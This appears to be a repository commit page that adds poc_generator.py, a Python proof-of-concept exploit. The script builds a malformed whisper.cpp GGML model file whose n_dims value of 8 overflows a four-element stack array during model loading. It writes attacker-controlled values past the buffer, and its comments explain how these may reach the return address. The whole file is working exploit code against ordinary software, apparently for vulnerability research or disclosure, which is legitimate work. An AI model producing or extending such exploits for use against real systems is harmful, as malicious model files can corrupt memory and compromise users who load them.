Add PoC file: poc_generator.py
Browse files- poc_generator.py +84 -0
poc_generator.py
ADDED
|
@@ -0,0 +1,84 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
Refined PoC for VULN-1: Stack buffer overflow via n_dims > 4
|
| 4 |
+
This is the most exploitable bug - writes controlled data to the stack.
|
| 5 |
+
"""
|
| 6 |
+
import struct, os
|
| 7 |
+
|
| 8 |
+
GGML_FILE_MAGIC = 0x67676d6c
|
| 9 |
+
|
| 10 |
+
def write_i32(f, val):
|
| 11 |
+
f.write(struct.pack('<i', val))
|
| 12 |
+
|
| 13 |
+
def write_u32(f, val):
|
| 14 |
+
f.write(struct.pack('<I', val))
|
| 15 |
+
|
| 16 |
+
def write_f32(f, val):
|
| 17 |
+
f.write(struct.pack('<f', val))
|
| 18 |
+
|
| 19 |
+
path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "poc_refined_ndims.bin")
|
| 20 |
+
with open(path, 'wb') as f:
|
| 21 |
+
# Header
|
| 22 |
+
write_u32(f, GGML_FILE_MAGIC)
|
| 23 |
+
# hparams: minimal config
|
| 24 |
+
write_i32(f, 51864) # n_vocab
|
| 25 |
+
write_i32(f, 1500) # n_audio_ctx
|
| 26 |
+
write_i32(f, 384) # n_audio_state
|
| 27 |
+
write_i32(f, 6) # n_audio_head
|
| 28 |
+
write_i32(f, 4) # n_audio_layer
|
| 29 |
+
write_i32(f, 448) # n_text_ctx
|
| 30 |
+
write_i32(f, 384) # n_text_state
|
| 31 |
+
write_i32(f, 6) # n_text_head
|
| 32 |
+
write_i32(f, 4) # n_text_layer
|
| 33 |
+
write_i32(f, 80) # n_mels
|
| 34 |
+
write_i32(f, 1) # ftype
|
| 35 |
+
|
| 36 |
+
# Mel filters: n_mel=80, n_fft=201
|
| 37 |
+
write_i32(f, 80)
|
| 38 |
+
write_i32(f, 201)
|
| 39 |
+
for _ in range(80 * 201):
|
| 40 |
+
write_f32(f, 0.0)
|
| 41 |
+
|
| 42 |
+
# Vocab: 51864 tokens
|
| 43 |
+
write_i32(f, 51864)
|
| 44 |
+
for i in range(51864):
|
| 45 |
+
word = f"t{i}".encode()
|
| 46 |
+
write_u32(f, len(word))
|
| 47 |
+
f.write(word)
|
| 48 |
+
|
| 49 |
+
# Tensor 1: EXPLOITABLE - n_dims = 8 (overflows ne[4] by 4 int32s = 16 bytes)
|
| 50 |
+
# The ne[] array is int32_t ne[4] on the stack.
|
| 51 |
+
# Writing n_dims=8 writes 4 int32_t values past the end of ne[4].
|
| 52 |
+
# Those 4 values overwrite whatever is adjacent on the stack:
|
| 53 |
+
# - could be return address, saved frame pointer, or other local variables
|
| 54 |
+
#
|
| 55 |
+
# Stack layout in whisper_model_load at the tensor loop:
|
| 56 |
+
# int32_t ne[4] = {1,1,1,1} <- 16 bytes
|
| 57 |
+
# ... other locals ...
|
| 58 |
+
# Writing ne[4], ne[5], ne[6], ne[7] = controlled attacker values
|
| 59 |
+
|
| 60 |
+
write_i32(f, 8) # n_dims = 8 (will write ne[0..7], ne[4..7] are OOB)
|
| 61 |
+
write_i32(f, 27) # length of tensor name
|
| 62 |
+
write_i32(f, 0) # ttype = F32 (valid type)
|
| 63 |
+
|
| 64 |
+
# ne[0..3] - within bounds of ne[4]
|
| 65 |
+
write_i32(f, 384) # ne[0]
|
| 66 |
+
write_i32(f, 1500) # ne[1]
|
| 67 |
+
write_i32(f, 1) # ne[2]
|
| 68 |
+
write_i32(f, 1) # ne[3]
|
| 69 |
+
|
| 70 |
+
# ne[4..7] - STACK OVERFLOW - writes past end of ne[4] array
|
| 71 |
+
write_i32(f, 0x41414141) # ne[4] - OOB write #1
|
| 72 |
+
write_i32(f, 0x42424242) # ne[5] - OOB write #2
|
| 73 |
+
write_i32(f, 0x43434343) # ne[6] - OOB write #3
|
| 74 |
+
write_i32(f, 0x44444444) # ne[7] - OOB write #4
|
| 75 |
+
|
| 76 |
+
# Tensor name
|
| 77 |
+
f.write(b"encoder.positional_embedding")
|
| 78 |
+
|
| 79 |
+
# Padding
|
| 80 |
+
f.write(b"\x00" * 4096)
|
| 81 |
+
|
| 82 |
+
print(f"[+] Generated refined PoC: {path}")
|
| 83 |
+
print(f" Trigger: n_dims=8, writes 4 controlled int32 values past ne[4] stack buffer")
|
| 84 |
+
print(f" Impact: Stack buffer overflow with attacker-controlled data (0x41414141...)")
|